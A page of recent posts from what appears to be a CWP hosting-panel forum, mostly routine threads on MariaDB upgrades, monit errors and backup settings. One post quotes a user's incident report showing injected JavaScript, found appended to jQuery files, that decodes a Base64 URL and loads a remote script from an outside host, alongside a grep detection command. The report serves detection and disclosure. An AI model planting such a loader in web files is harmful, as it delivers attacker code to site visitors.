Recent Posts

Pages: 1 [2] 3 4 ... 10
11
CSF Firewall / Re: CSF analyzer
« Last post by Emilius on September 11, 2026, 10:04:08 PM »
Yeah, that was just a typo when I originally named it. I noticed it later but never bothered fixing it since the script was already posted and in use. 😄
12
Backup / Re: Backup Manager Beta is not remembering password in destination
« Last post by Martins-phpbb on September 11, 2026, 07:09:46 PM »
No  you have to submit the password every day for it to run.
13
Backup / Re: Backup Manager Beta is not remembering password in destination
« Last post by overseer on September 11, 2026, 07:03:45 PM »
Any change with the recent update?
14
CSF Firewall / Re: CSF analyzer
« Last post by overseer on September 11, 2026, 07:01:58 PM »
Still wondering why it's not csfanalyzer2... It's for the CSF firewall after all!
:o
15
Information / Re: Possible CWP Security Issue – Malicious JavaScript Injection
« Last post by suarez on September 11, 2026, 06:41:09 AM »
Quote from: murad99 on August 24, 2026, 10:55:39 PM
Hello CWP Team and Community,

I would like to report a suspicious security incident that occurred on my server on August 13, 2026.

I found malicious JavaScript injected at the end of jQuery files used by websites hosted on the server.

The injected code was:

const u = atob("aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz");
const s = document.createElement("script");
s.src = u;
s.dataset.landing = "";
s.dataset.channelCode = "9cbdf797";
document.head.appendChild(s);

The Base64 string:

aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz

decodes to:

https://she-g8f.pages.dev/boot.js

What I observed

The modification does not appear to affect random JavaScript files. It appears to specifically target the jQuery file that is actively being used by the website.

For example, if a website is using jquery.3.7.1.min.js, that file may be modified and the malicious code appended to the end.

I initially investigated this as a possible compromise of my own server, but I later found the same type of injection on another server also running CWP.

This makes me concerned that this may not be an isolated server or website compromise.

Quick detection

CWP users can search their /home directory with:

grep -RIl --binary-files=without-match 'aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz' /home 2>/dev/null

This should return files containing the injected Base64 string.

I recommend checking the results, especially any jquery*.js files currently used by active websites.

Request for investigation

I have searched the server for the source of the modification but have not been able to determine the initial attack vector.

Could someone from the CWP team or an experienced CWP security researcher please investigate whether there is any known vulnerability or CWP-related mechanism that could allow an attacker to:

Identify actively used jQuery files.
Modify those files.
Inject an external JavaScript loader.
Do so without leaving an obvious trace in the normal server logs.

Since I have now observed the same behavior on two different CWP servers, I believe this deserves further investigation.

If other CWP users check their jQuery files and find the same injection, that may help determine the scope and source of the issue.

Thank you.

below list is some of the variations of js files. where the same code snippet found

modernizr-2.8.3.min.js
wow.min.js
jquery-3.2.1.min.js
jquery.min.js
jquery-2.1.0.min.js
jquery-1.11.1.min.js
modernizer.js
jquery-3.3.1.min.js

16
Suggestions / Re: Eye icon
« Last post by overseer on September 11, 2026, 02:58:44 AM »
Do you mean the browser-provided one on the initial login screen for root (admin panel) or the user panel? Or when manually setting a password for a user/e-mail account/DB user?
17
Information / Re: The impact of AI tools and our commitment to CWP
« Last post by overseer on September 11, 2026, 02:56:32 AM »
THANK YOU!
18
MySQL / Re: Could not connect: Connection refused (internal server error 500)
« Last post by overseer on September 11, 2026, 02:54:25 AM »
Follow the link in your other thread to update to MariaDB 10.11 LTS version.
If after upgrading you are still experiencing problems, you can also try User Accounts -> Fix Permissions.
And last I checked, /scripts/mysql_pwd_reset is sadly outdated and you need to use a more modern method of setting the MariaDB root password:
https://www.digitalocean.com/community/tutorials/how-to-reset-your-mysql-or-mariadb-root-password
19
CentOS 9 Problems / Re: monit giving error (Execution failed | Does not exist) for mysql
« Last post by overseer on September 11, 2026, 02:49:17 AM »
Please follow Sandeep's guide to upgrade to MariaDB 10.11 LTS version:
https://www.alphagnu.com/topic/22-install-mariadb-1011-in-centos-stream-9-almalinux-9-rockylinux-9/
20
CentOS 9 Problems / monit giving error (Execution failed | Does not exist) for mysql
« Last post by zeejdeej on September 11, 2026, 01:22:04 AM »
i have enabled monit service but its giving the following error for mysql.

Process 'mysql'
  status                       Execution failed | Does not exist
  monitoring status            Monitored
  monitoring mode              active
  on reboot                    start

how to fix it ? can anybody guide me as mysql keep crashing and i want to put mysql service in monit for auto restart.

i am using cwp pro on Distro Name: AlmaLinux release 9.8 (Olive Jaguar)
Apache version: Apache/2.4.68
PHP version: 8.3.29 Forced PHP-FPM: 8.3
MySQL version: 10.5.29-MariaDB

is there a safe way to upgrade MySql version without loosing existing data ? kindly suggest
Pages: 1 [2] 3 4 ... 10